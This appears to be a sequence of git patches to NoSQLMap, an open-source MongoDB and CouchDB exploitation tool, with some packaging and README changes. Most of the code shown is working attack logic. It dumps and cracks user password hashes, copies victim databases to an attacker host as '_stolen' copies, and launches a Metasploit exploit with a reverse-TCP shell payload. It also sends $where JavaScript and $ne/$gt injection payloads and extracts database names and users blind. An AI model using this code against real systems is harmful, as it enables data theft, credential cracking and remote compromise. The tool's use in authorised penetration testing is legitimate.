userDict = r.json() - + userDict = r.json() + for counter in range (0,int(userDict["total_rows"])-int(userDict["offset"])): if float(couchConn.version()[0:3]) < 1.3: userNames.append(userDict["rows"][counter]["id"].split(":")[1]) userHashes.append(userDict["rows"][counter]["doc"]["password_sha"]) userSalts.append(userDict["rows"][counter]["doc"]["salt"]) - + else: userNames.append(userDict["rows"][counter]["id"].split(":")[1]) userHashes.append(userDict["rows"][counter]["doc"]["derived_key"]) userSalts.append(userDict["rows"][counter]["doc"]["salt"]) - + print "Database Users and Password Hashes:" - + for x in range(0,len(userNames)): print "Username: " + userNames[x] print "Hash: " + userHashes[x] print "Salt: "+ userSalts[x] print "\n" - + crack = raw_input("Crack this hash (y/n)? ") - + if crack in yes_tag: passCrack(userNames[x],userHashes[x],userSalts[x],couchConn.version()) - + return def stealDBs (myDB,couchConn,target,port): dbLoot = True menuItem = 1 dbList = [] - + for db in couchConn: dbList.append(db) - + if len(dbList) == 0: print "Can't get a list of databases to steal. The provided credentials may not have rights." return - + for dbName in dbList: print str(menuItem) + "-" + dbName menuItem += 1 - + while dbLoot: dbLoot = raw_input("Select a database to steal:") - + if int(dbLoot) > menuItem: print "Invalid selection." else: break - + try: #Create the DB target first myServer = couchdb.Server("http://" + myDB + ":5984") targetDB = myServer.create(dbList[int(dbLoot)-1] + "_stolen") couchConn.replicate(dbList[int(dbLoot)-1],"http://" + myDB + ":5984/" + dbList[int(dbLoot)-1] + "_stolen") - + cloneAnother = raw_input("Database cloned. Copy another (y/n)? ") - + if cloneAnother in yes_tag: stealDBs(myDB,couchConn,target,port) @@ -263,7 +263,7 @@ def stealDBs (myDB,couchConn,target,port): except: raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return...") return - + def passCrack (user, encPass, salt, dbVer): select = True print "Select password cracking method: " @@ -277,7 +277,7 @@ def passCrack (user, encPass, salt, dbVer): if select == "1": select = False dict_pass(encPass,salt,dbVer) - + elif select == "2": select = False brute_pass(encPass,salt,dbVer) @@ -309,7 +309,7 @@ def brute_pass(hashVal,salt,dbVer): elif charSel == "3": chainSet = string.ascii_letters - + elif charSel == "4": chainSet = string.digits @@ -325,22 +325,22 @@ def brute_pass(hashVal,salt,dbVer): for attempt in genBrute (chainSet,int(maxLen)): print "\rCombinations tested: " + str(count) + "\r" count += 1 - + #CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use. if float(dbVer[0:3]) < 1.3: gotIt = gen_pass_couch(attempt,salt,hashVal) else: gotIt = gen_pass_couch13(attempt, salt, 10, hashVal) - + if gotIt == True: break def dict_pass(key,salt,dbVer): loadCheck = False - + while loadCheck == False: dictionary = raw_input("Enter path to password dictionary: ") - + try: with open (dictionary) as f: passList = f.readlines() @@ -350,16 +350,16 @@ def dict_pass(key,salt,dbVer): print " Couldn't load file." print "Running dictionary attack..." - + for passGuess in passList: temp = passGuess.split("\n")[0] - + #CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use. if float(dbVer[0:3]) < 1.3: gotIt = gen_pass_couch(temp,salt,key) else: gotIt = gen_pass_couch13(temp, salt, 10, key) - + if gotIt == True: break @@ -369,10 +369,10 @@ def gen_pass_couch(passw, salt, hashVal): if sha1(passw+salt).hexdigest() == hashVal: print "Password Cracked - "+passw return True - + else: return False - + def gen_pass_couch13(passw, salt, iterations, hashVal): result=PBKDF2(passw,salt,iterations).read(20) expected=a2b_hex(hashVal) @@ -380,4 +380,4 @@ def gen_pass_couch13(passw, salt, iterations, hashVal): print "Password Cracked- "+passw return True else: - return False \ No newline at end of file + return False diff --git a/nsmmongo.py b/nsmmongo.py index 053f64c..bbbde72 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -35,21 +35,21 @@ def netAttacks(target, dbPort, myIP, myPort): #This is a global for future use with other modules; may change global dbList dbList = [] - + print "Checking to see if credentials are needed..." needCreds = mongoScan(target,dbPort,False) - + if needCreds[0] == 0: conn = pymongo.MongoClient(target,dbPort) print "Successful access with no credentials!" mgtOpen = True - + elif needCreds[0] == 1: print "Login required!" srvUser = raw_input("Enter server username: ") srvPass = raw_input("Enter server password: ") uri = "mongodb://" + srvUser + ":" + srvPass + "@" + target +"/" - + try: conn = pymongo.MongoClient(target) print "MongoDB authenticated on " + target + ":27017!" @@ -57,20 +57,20 @@ def netAttacks(target, dbPort, myIP, myPort): except: raw_input("Failed to authenticate. Press enter to continue...") return - + elif needCreds[0] == 2: conn = pymongo.MongoClient(target,dbPort) print "Access check failure. Testing will continue but will be unreliable." mgtOpen = True - + elif needCreds[0] == 3: print "Couldn't connect to Mongo server." return - - - mgtUrl = "http://" + target + ":28017" + + + mgtUrl = "http://" + target + ":28017" #Future rev: Add web management interface parsing - + try: mgtRespCode = urllib.urlopen(mgtUrl).getcode() if mgtRespCode == 200: @@ -97,10 +97,10 @@ def netAttacks(target, dbPort, myIP, myPort): print "\n" except Exception, e: - print "MongoDB web management closed or requires authentication." - + print "MongoDB web management closed or requires authentication." + if mgtOpen == True: - + while mgtSelect: print "\n" print "1-Get Server Version and Platform" @@ -110,33 +110,33 @@ def netAttacks(target, dbPort, myIP, myPort): print "5-Launch Metasploit Exploit for Mongo < 2.2.4" print "6-Return to Main Menu" attack = raw_input("Select an attack: ") - + if attack == "1": print "\n" getPlatInfo(conn) - + if attack == "2": print "\n" enumDbs(conn) - + if attack == "3": print "\n" enumGrid(conn) - + if attack == "4": if myIP == "Not Set": print "Target database not set!" else: print "\n" stealDBs(myIP,target,conn) - + if attack == "5": print "\n" msfLaunch() - + if attack == "6": return - + def stealDBs(myDB,victim,mongoConn): dbList = mongoConn.database_names() dbLoot = True @@ -145,54 +145,54 @@ def stealDBs(myDB,victim,mongoConn): if len(dbList) == 0: print "Can't get a list of databases to steal. The provided credentials may not have rights." return - + for dbName in dbList: print str(menuItem) + "-" + dbName menuItem += 1 - + while dbLoot: dbLoot = raw_input("Select a database to steal: ") - + if int(dbLoot) > menuItem: print "Invalid selection." - + else: break - + try: #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance. dbNeedCreds = raw_input("Does this database require credentials (y/n)? ") - + if dbNeedCreds in no_tag: myDBConn = pymongo.MongoClient(myDB,27017) - myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim) - + myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim) + elif dbNeedCreds in yes_tag: dbUser = raw_input("Enter database username: ") dbPass = raw_input("Enter database password: ") myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim,dbUser,dbPass) - + else: raw_input("Invalid Selection. Press enter to continue.") stealDBs(myDB,victim,mongoConn) - + cloneAnother = raw_input("Database cloned. Copy another (y/n)? ") - + if cloneAnother in yes_tag: stealDBs(myDB,victim,mongoConn) - + else: return - + except Exception, e: if str(e).find('text search not enabled') != -1: raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") return - + else: raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") return - + def passCrack (user, encPass): select = True print "Select password cracking method: " @@ -200,17 +200,17 @@ def passCrack (user, encPass): print "2-Brute Force" print "3-Exit" - + while select: select = raw_input("Selection: ") if select == "1": select = False dict_pass(user,encPass) - + elif select == "2": select = False brute_pass(user,encPass) - + elif select == "3": return return @@ -224,7 +224,7 @@ def gen_pass(user, passw, hashVal): def dict_pass(user,key): loadCheck = False - + while loadCheck == False: dictionary = raw_input("Enter path to password dictionary: ") try: @@ -233,12 +233,12 @@ def dict_pass(user,key): loadCheck = True except: print " Couldn't load file." - + print "Running dictionary attack..." for passGuess in passList: temp = passGuess.split("\n")[0] gotIt = gen_pass (user, temp, key) - + if gotIt == True: break return @@ -257,22 +257,22 @@ def brute_pass(user,key): print "5-Alphanumeric (upper and lower case)" print "6-Alphanumeric + special characters" charSel = raw_input("\nSelect character set to use:") - + if charSel == "1": chainSet = string.ascii_lowercase elif charSel == "2": chainSet= string.ascii_uppercase - + elif charSel == "3": chainSet = string.ascii_letters - + elif charSel == "4": chainSet = string.digits - + elif charSel == "5": chainSet = string.ascii_letters + string.digits - + elif charSel == "6": chainSet = string.ascii_letters + string.digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/" count = 0 @@ -298,45 +298,45 @@ def enumDbs (mongoConn): print "List of databases:" print "\n".join(mongoConn.database_names()) print "\n" - + except: print "Error: Couldn't list databases. The provided credentials may not have rights." - + print "List of collections:" - + try: for dbItem in mongoConn.database_names(): db = mongoConn[dbItem] print dbItem + ":" print "\n".join(db.collection_names()) print "\n" - + if 'system.users' in db.collection_names(): users = list(db.system.users.find()) print "Database Users and Password Hashes:" - + for x in range (0,len(users)): print "Username: " + users[x]['user'] print "Hash: " + users[x]['pwd'] print "\n" crack = raw_input("Crack this hash (y/n)? ") - + if crack in yes_tag: passCrack(users[x]['user'],users[x]['pwd']) - + except Exception, e: print e print "Error: Couldn't list collections. The provided credentials may not have rights." - + print "\n" return -def msfLaunch(): +def msfLaunch(): try: proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True) - + except: - print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined." + print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined." raw_input("Press enter to continue...") return @@ -350,62 +350,62 @@ def enumGrid (mongoConn): print "GridFS enabled on database " + str(dbItem) print " list of files:" print "\n".join(files) - + except: print "GridFS not enabled on " + str(dbItem) + "." - + except: print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights." - + return def mongoScan(ip,port,pingIt): - + if pingIt == True: test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null") - - if test == 0: + + if test == 0: try: conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000) - + try: dbList = conn.database_names() dbVer = conn.server_info()['version'] conn.disconnect() return [0,dbVer] - + except: if str(sys.exc_info()).find('need to login') != -1: conn.disconnect() return [1,None] - + else: conn.disconnect() return [2,None] except: return [3,None] - + else: return [4,None] else: try: conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000) - + try: dbList = conn.database_names() dbVer = conn.server_info()['version'] conn.disconnect() return [0,dbVer] - + except Exception, e: if str(e).find('need to login') != -1: conn.disconnect() return [1,None] - + else: conn.disconnect() return [2,None] except: - return [3,None] \ No newline at end of file + return [3,None] From 0e9eef5c5c935f19d767262e9e5b3eaaafe22a68 Mon Sep 17 00:00:00 2001 From: Akash Date: Mon, 22 Dec 2014 10:54:10 +0530 Subject: [PATCH 096/207] import os was missing --- nsmcouch.py | 1 + nsmmongo.py | 1 + 2 files changed, 2 insertions(+) diff --git a/nsmcouch.py b/nsmcouch.py index 854d296..3bf05f7 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -25,6 +25,7 @@ import string import itertools from hashlib import sha1 +import os global dbList global yes_tag diff --git a/nsmmongo.py b/nsmmongo.py index bbbde72..5e5d35b 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -20,6 +20,7 @@ import string import subprocess from hashlib import md5 +import os global yes_tag global no_tag From 1ad8c6e2eeb287533344d96617354f9c59170061 Mon Sep 17 00:00:00 2001 From: Akash Date: Mon, 22 Dec 2014 22:43:21 +0530 Subject: [PATCH 097/207] Using setuptools to install NoSQLMap It works independent of platform and much easier to manage and install. Hence removed `setup.sh' and replace with setup.py, Tested on Ubuntu 12.04-32bit. --- setup.py | 26 +++++++++++++ setup.sh | 110 ------------------------------------------------------- 2 files changed, 26 insertions(+), 110 deletions(-) create mode 100644 setup.py delete mode 100755 setup.sh diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..af2fef8 --- /dev/null +++ b/setup.py @@ -0,0 +1,26 @@ +from setuptools import find_packages, setup + +setup( + name = "NoSQLMap", + version = "0.5", + packages = find_packages(), + scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py'], + + entry_points = { + "console_scripts": [ + "NoSQLMap = nosqlmap:main" + ] + }, + + install_requires = [ "CouchDB==1.0", "httplib2==0.9", "ipcalc==1.1.3",\ + "NoSQLMap==0.5", "pbkdf2==1.3", "pymongo==2.7.2",\ + "requests==2.5.0"], + + author = "tcstools", + author_email = "nosqlmap@gmail.com", + description = "Automated MongoDB and NoSQL web application exploitation tool", + license = "GPLv3", + long_description = open("README.md").read(), + url = "http://www.nosqlmap.net" + ) + diff --git a/setup.sh b/setup.sh deleted file mode 100755 index 4e90098..0000000 --- a/setup.sh +++ /dev/null @@ -1,110 +0,0 @@ -#!/bin/bash -#NoSQLMap Copyright 2014 Russell Butturini -#This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -#the Free Software Foundation, either version 3 of the License, or -#(at your option) any later version. - -#This program is distributed in the hope that it will be useful, -#but WITHOUT ANY WARRANTY; without even the implied warranty of -#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -#GNU General Public License for more details. - -#You should have received a copy of the GNU General Public License -#along with this program. If not, see . - -echo "This setup script will install pip and use it to load the necessary Python dependencies for NoSQLMap on Red Hat and Debian based systems." -echo "It is EXPERIMENTAL and messes with your system. Use at your own risk!!!" -echo "As far as installing Metasploit, you're on your own." -echo "Before we start, are you root? If not, this won't work." -echo -n "Continue (y/n)? " - -read doIt - -if [ "$doIt" = "y" ] || [ "$doIt" = "Y" ]; then - echo "You've been warned..." - - if [ -f /etc/debian_version ]; then - echo "Debian-ish OS detected. using apt-get to install pip." - apt-get --force-yes install python-pip - pip install pymongo - pip install couchdb - pip install requests - pip install unittest - pip install pbkdf2 - pip install binascii - pip install gridfs - pip install ipcalc - pip install hashlib - pip install json - pip install httplib2 - pip install urllib - pip install itertools - pip install re - pip install ast - echo "All done. Check output for errors. Have fun!" - - elif [ -f /etc/redhat-release ]; then - echo "Red Hat-ish OS detected. using yum to install pip." - vernum=$(rpm -qa \*-release | grep -Ei "oracle|redhat|centos" | cut -d"-" -f3) - - if [ "$vernum" = "6" ];then - - echo "version 6 detected. Enabling repos." - cd /tmp - wget http://mirror-fpt-telecom.fpt.net/fedora/epel/6/i386/epel-release-6-8.noarch.rpm - rpm -ivh epel-release-6-8.noarch.rpm - yum -y install python-pip - pip install pymongo - pip install couchdb - pip install requests - pip install unittest - pip install pbkdf2 - pip install binascii - pip install gridfs - pip install ipcalc - pip install hashlib - pip install json - pip install httplib2 - pip install urllib - pip install itertools - pip install re - pip install ast - echo "All done. Check output for errors. Have fun!" - - - - - elif [ "$vernum" = "5" ];then - echo "version 5 detected. Enabling repos." - cd /tmp - wget http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm - rpm -ivh epel-release-5-4.noarch.rpm - yum -y install python-pip - pip install pymongo - pip install pymongo - pip install couchdb - pip install requests - pip install unittest - pip install pbkdf2 - pip install binascii - pip install gridfs - pip install ipcalc - pip install hashlib - pip install json - pip install httplib2 - pip install urllib - pip install itertools - pip install re - pip install ast - - echo "All done. Check output for errors. Have fun!" - - fi - - fi -fi - - -exit 1 - From c375264122b6cd966c50b597964a0aa661859e38 Mon Sep 17 00:00:00 2001 From: Akash Date: Mon, 22 Dec 2014 22:55:11 +0530 Subject: [PATCH 098/207] Update README, added installation process. Bumped up version mentioned in readme section to 0.5, as its current. --- README.md | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) diff --git a/README.md b/README.md index 93c3039..11510b1 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ NoSQLMap ======== -[NoSQLMap](http://www.nosqlmap.net) v0.4 +[NoSQLMap](http://www.nosqlmap.net) v0.5 Introduction ============ @@ -25,21 +25,14 @@ There are some various other libraries required that a normal Python installatio Setup ============ -An experimental setup.sh script for Debian and Red Hat based systems is included. Any feedback or suggestions on improving this process is welcome. - +``python setup.py install`` Usage ===== -Start with ``` -./nosqlmap.py -``` - -or - -``` -python nosqlmap.py. +NoSQLMap ``` NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap you are presented with with the main menu: From 831187cc80fad77f0ee82fa8c5ad935f2bb76f7e Mon Sep 17 00:00:00 2001 From: Akash Shende Date: Fri, 27 Mar 2015 21:19:48 +0530 Subject: [PATCH 099/207] just a typo fix. --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index 0c0aefe..30212e6 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1049,7 +1049,7 @@ def getApps(): print "\n" - print "Vunerable URLs:" + print "Vulnerable URLs:" print "\n".join(vulnAddrs) print "\n" print "Possibly vulnerable URLs:" From de80e7d734f3afa2802f20634f378185f8fd810a Mon Sep 17 00:00:00 2001 From: gpapakyriakopoulos Date: Fri, 22 May 2015 14:26:26 +0300 Subject: [PATCH 100/207] initial draft for http headers in getapps and postapps methods --- nosqlmap.py | 88 ++++++++++++++++++++++++++++++++--------------------- 1 file changed, 54 insertions(+), 34 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 30212e6..043c494 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -166,6 +166,7 @@ def options(): global verb global mmSelect global dbPort + global requestHeaders #Set default value if needed if optionSet[0] == False: @@ -299,6 +300,12 @@ def options(): else: print "Invalid selection" + reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n") + reqHeadersArray = reqHeadersIn.split(",") + headerNames = reqHeadersArray[0::2] + headerValues = reqHeadersArray[1::2] + requestHeaders = dict(zip(headerNames, headerValues)) + elif select == "7": #Unset the setting boolean since we're setting it again. optionSet[4] = False @@ -447,6 +454,7 @@ def postApps(): global postData global neDict global gtDict + global requestHeaders testNum = 1 #Verify app is working. @@ -460,7 +468,7 @@ def postApps(): try: body = urllib.urlencode(postData) - req = urllib2.Request(appURL,body) + req = urllib2.Request(appURL,body, requestHeaders) appRespCode = urllib2.urlopen(req).getcode() if appRespCode == 200: @@ -515,7 +523,7 @@ def postApps(): print "Sending random parameter value..." body = urllib.urlencode(postData) - req = urllib2.Request(appURL,body) + req = urllib2.Request(appURL,body, requestHeaders) randLength = int(len(urllib2.urlopen(req).read())) print "Got response length of " + str(randLength) + "." @@ -531,7 +539,7 @@ def postApps(): neDict[injOpt + "[$ne]"] = neDict[injOpt] del neDict[injOpt] body = urllib.urlencode(neDict) - req = urllib2.Request(appURL,body) + req = urllib2.Request(appURL,body, requestHeaders) if verb == "ON": print "Testing Mongo PHP not equals associative array injection using " + str(postData) +"..." @@ -558,7 +566,7 @@ def postApps(): gtDict[injOpt + "[$gt]"] = gtDict[injOpt] del gtDict[injOpt] body = urllib.urlencode(gtDict) - req = urllib2.Request(appURL,body) + req = urllib2.Request(appURL,body, requestHeaders) if verb == "ON": print "Testing PHP/ExpressJS >Undefined Injection using " + str(postData) + "..." @@ -574,7 +582,7 @@ def postApps(): postData.update({injOpt:"a'; return db.a.find(); var dummy='!"}) body = urllib.urlencode(postData) - req = urllib2.Request(appURL,body) + req = urllib2.Request(appURL,body, requestHeaders) if verb == "ON": print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" print "Injecting " + str(postData) @@ -595,7 +603,7 @@ def postApps(): postData.update({injOpt:"1; return db.a.find(); var dummy=1"}) body = urllib.urlencode(postData) - req = urllib2.Request(appURL,body) + req = urllib2.Request(appURL,body, requestHeaders) if verb == "ON": print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" print "Injecting " + str(postData) @@ -615,7 +623,7 @@ def postApps(): #Start a single record attack in case the app expects only one record back postData.update({injOpt:"a'; return db.a.findOne(); var dummy='!"}) body = urllib.urlencode(postData) - req = urllib2.Request(appURL,body) + req = urllib2.Request(appURL,body, requestHeaders) if verb == "ON": print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" print " Injecting " + str(postData) @@ -636,7 +644,7 @@ def postApps(): postData.update({injOpt:"1; return db.a.findOne(); var dummy=1"}) body = urllib.urlencode(postData) - req = urllib2.Request(appURL,body) + req = urllib2.Request(appURL,body, requestHeaders) if verb == "ON": print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" print " Injecting " + str(postData) @@ -657,7 +665,7 @@ def postApps(): postData.update({injOpt:"a'; return this.a != '" + injectString + "'; var dummy='!"}) body = urllib.urlencode(postData) - req = urllib2.Request(appURL,body) + req = urllib2.Request(appURL,body, requestHeaders) if verb == "ON": print "Testing Mongo this not equals string escape attack for all records..." @@ -678,7 +686,7 @@ def postApps(): postData.update({injOpt:"1; return this.a != '" + injectString + "'; var dummy=1"}) body = urllib.urlencode(postData) - req = urllib2.Request(appURL,body) + req = urllib2.Request(appURL,body, requestHeaders) if verb == "ON": print "Testing Mongo this not equals integer escape attack for all records..." @@ -812,6 +820,7 @@ def getApps(): str24 = False global int24 int24 = False + global requestHeaders #Verify app is working. print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." @@ -822,10 +831,11 @@ def getApps(): elif https == "ON": appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri) try: - appRespCode = urllib.urlopen(appURL).getcode() + req = urllib2.Request(appURL, None, requestHeaders) + appRespCode = urllib2.urlopen(req).getcode() if appRespCode == 200: - normLength = int(len(urllib.urlopen(appURL).read())) - timeReq = urllib.urlopen(appURL) + normLength = int(len(urllib2.urlopen(req).read())) + timeReq = urllib2.urlopen(req) start = time.time() page = timeReq.read() end = time.time() @@ -853,13 +863,15 @@ def getApps(): #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. #Add error handling for Non-200 HTTP response codes if random strings freaks out the app. randomUri = buildUri(appURL,injectString) + print "URI : " + randomUri + req = urllib2.Request(randomUri, None, requestHeaders) if verb == "ON": print "Checking random injected parameter HTTP response size using " + randomUri +"...\n" else: print "Sending random parameter value..." - randLength = int(len(urllib.urlopen(randomUri).read())) + randLength = int(len(urllib2.urlopen(req).read())) print "Got response length of " + str(randLength) + "." randNormDelta = abs(normLength - randLength) @@ -874,10 +886,11 @@ def getApps(): print "Test 1: PHP/ExpressJS != associative array injection" #Test for errors returned by injection - errorCheck = errorTest(str(urllib.urlopen(uriArray[1]).read()),testNum) + req = urllib2.Request(uriArray[1], None, requestHeaders) + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) if errorCheck == False: - injLen = int(len(urllib.urlopen(uriArray[1]).read())) + injLen = int(len(urllib2.urlopen(req).read())) checkResult(randLength,injLen,testNum) testNum += 1 else: @@ -890,12 +903,12 @@ def getApps(): else: print "Test 2: $where injection (string escape)" - - errorCheck = errorTest(str(urllib.urlopen(uriArray[2]).read()),testNum) + req = urllib2.Request(uriArray[2], None, requestHeaders) + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) if errorCheck == False: - injLen = int(len(urllib.urlopen(uriArray[2]).read())) + injLen = int(len(urllib2.urlopen(req).read())) checkResult(randLength,injLen,testNum) testNum += 1 @@ -909,11 +922,12 @@ def getApps(): else: print "Test 3: $where injection (integer escape)" - errorCheck = errorTest(str(urllib.urlopen(uriArray[3]).read()),testNum) + req = urllib2.Request(uriArray[3], None, requestHeaders) + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) if errorCheck == False: - injLen = int(len(urllib.urlopen(uriArray[3]).read())) + injLen = int(len(urllib2.urlopen(req).read())) checkResult(randLength,injLen,testNum) testNum +=1 @@ -928,11 +942,11 @@ def getApps(): else: print "Test 4: $where injection string escape (single record)" - - errorCheck = errorTest(str(urllib.urlopen(uriArray[4]).read()),testNum) + req = urllib2.Request(uriArray[4], None, requestHeaders) + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) if errorCheck == False: - injLen = int(len(urllib.urlopen(uriArray[4]).read())) + injLen = int(len(urllib2.urlopen(req).read())) checkResult(randLength,injLen,testNum) testNum += 1 else: @@ -945,10 +959,11 @@ def getApps(): else: print "Test 5: $where injection integer escape (single record)" - errorCheck = errorTest(str(urllib.urlopen(uriArray[5]).read()),testNum) + req = urllib2.Request(uriArray[5], None, requestHeaders) + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) if errorCheck == False: - injLen = int(len(urllib.urlopen(uriArray[5]).read())) + injLen = int(len(urllib2.urlopen(req).read())) checkResult(randLength,injLen,testNum) testNum +=1 @@ -962,10 +977,11 @@ def getApps(): else: print "Test 6: This != injection (string escape)" - errorCheck = errorTest(str(urllib.urlopen(uriArray[6]).read()),testNum) + req = urllib2.Request(uriArray[6], None, requestHeaders) + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) if errorCheck == False: - injLen = int(len(urllib.urlopen(uriArray[6]).read())) + injLen = int(len(urllib2.urlopen(req).read())) checkResult(randLength,injLen,testNum) testNum += 1 else: @@ -978,10 +994,11 @@ def getApps(): else: print "Test 7: This != injection (integer escape)" - errorCheck = errorTest(str(urllib.urlopen(uriArray[7]).read()),testNum) + req = urllib2.Request(uriArray[7], None, requestHeaders) + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) if errorCheck == False: - injLen = int(len(urllib.urlopen(uriArray[7]).read())) + injLen = int(len(urllib2.urlopen(req).read())) checkResult(randLength,injLen,testNum) testNum += 1 else: @@ -995,10 +1012,11 @@ def getApps(): else: print "Test 8: PHP/ExpressJS > Undefined Injection" - errorCheck = errorTest(str(urllib.urlopen(uriArray[8]).read()),testNum) + req = urllib2.Request(uriArray[8], None, requestHeaders) + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) if errorCheck == False: - injLen = int(len(urllib.urlopen(uriArray[8]).read())) + injLen = int(len(urllib2.urlopen(req).read())) checkResult(randLength,injLen,testNum) testNum += 1 @@ -1006,8 +1024,9 @@ def getApps(): if doTimeAttack in yes_tag: print "Starting Javascript string escape time based injection..." + req = urllib2.Request(uriArray[18], None, requestHeaders) start = time.time() - strTimeInj = urllib.urlopen(uriArray[18]) + strTimeInj = urllib2.urlopen(req) page = strTimeInj.read() end = time.time() strTimeInj.close() @@ -1024,8 +1043,9 @@ def getApps(): strTbAttack = False print "Starting Javascript integer escape time based injection..." + req = urllib2.Request(uriArray[9], None, requestHeaders) start = time.time() - intTimeInj = urllib.urlopen(uriArray[9]) + intTimeInj = urllib2.urlopen(req) page = intTimeInj.read() end = time.time() intTimeInj.close() From fa5a8306eb25ed441effe79880b48a978cbc05a3 Mon Sep 17 00:00:00 2001 From: gpapakyriakopoulos Date: Fri, 22 May 2015 15:08:54 +0300 Subject: [PATCH 101/207] also added headers for DBInfo function --- nosqlmap.py | 43 +++++++++++++++++++++++++++++++++---------- 1 file changed, 33 insertions(+), 10 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 043c494..8e541a4 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -862,6 +862,11 @@ def getApps(): #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. #Add error handling for Non-200 HTTP response codes if random strings freaks out the app. + if "?" not in appURL: + print "No URI parameters provided for GET request...Check your options.\n" + raw_input("Press enter to continue...") + return() + randomUri = buildUri(appURL,injectString) print "URI : " + randomUri req = urllib2.Request(randomUri, None, requestHeaders) @@ -1526,7 +1531,8 @@ def getDBInfo(): print "Getting baseline True query return size..." trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&") #print "Debug " + str(trueUri) - baseLen = int(len(urllib.urlopen(trueUri).read())) + req = urllib2.Request(trueUri, None, requestHeaders) + baseLen = int(len(urllib2.urlopen(req).read())) print "Got baseline true query length of " + str(baseLen) print "Calculating DB name length..." @@ -1534,7 +1540,8 @@ def getDBInfo(): while gotNameLen == False: calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} var dum='a" + "&") #print "Debug: " + calcUri - lenUri = int(len(urllib.urlopen(calcUri).read())) + req = urllib2.Request(calcUri, None, requestHeaders) + lenUri = int(len(urllib2.urlopen(req).read())) #print "Debug length: " + str(lenUri) if lenUri == baseLen: @@ -1547,7 +1554,9 @@ def getDBInfo(): print "Database Name: ", while gotDbName == False: charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } var dum='a" + "&") - lenUri = int(len(urllib.urlopen(charUri).read())) + + req = urllib2.Request(charUri, None, requestHeaders) + lenUri = int(len(urllib2.urlopen(req).read())) if lenUri == baseLen: dbName = dbName + chars[charCounter] @@ -1571,7 +1580,9 @@ def getDBInfo(): #find the total number of users on the database while gotUserCnt == False: usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a") - lenUri = int(len(urllib.urlopen(usrCntUri).read())) + + req = urllib2.Request(usrCntUri, None, requestHeaders) + lenUri = int(len(urllib2.urlopen(req).read())) if lenUri == baseLen: print "Found " + str(usrCount) + " user(s)." @@ -1595,7 +1606,9 @@ def getDBInfo(): while charCountUsr == False: #different query to get the first user vs. others usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") - lenUri = int(len(urllib.urlopen(usrUri).read())) + + req = urllib2.Request(usrUri, None, requestHeaders) + lenUri = int(len(urllib2.urlopen(req).read())) if lenUri == baseLen: #Got the right number of characters @@ -1606,7 +1619,9 @@ def getDBInfo(): while rightCharsUsr < usrChars: usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") - lenUri = int(len(urllib.urlopen(usrUri).read())) + 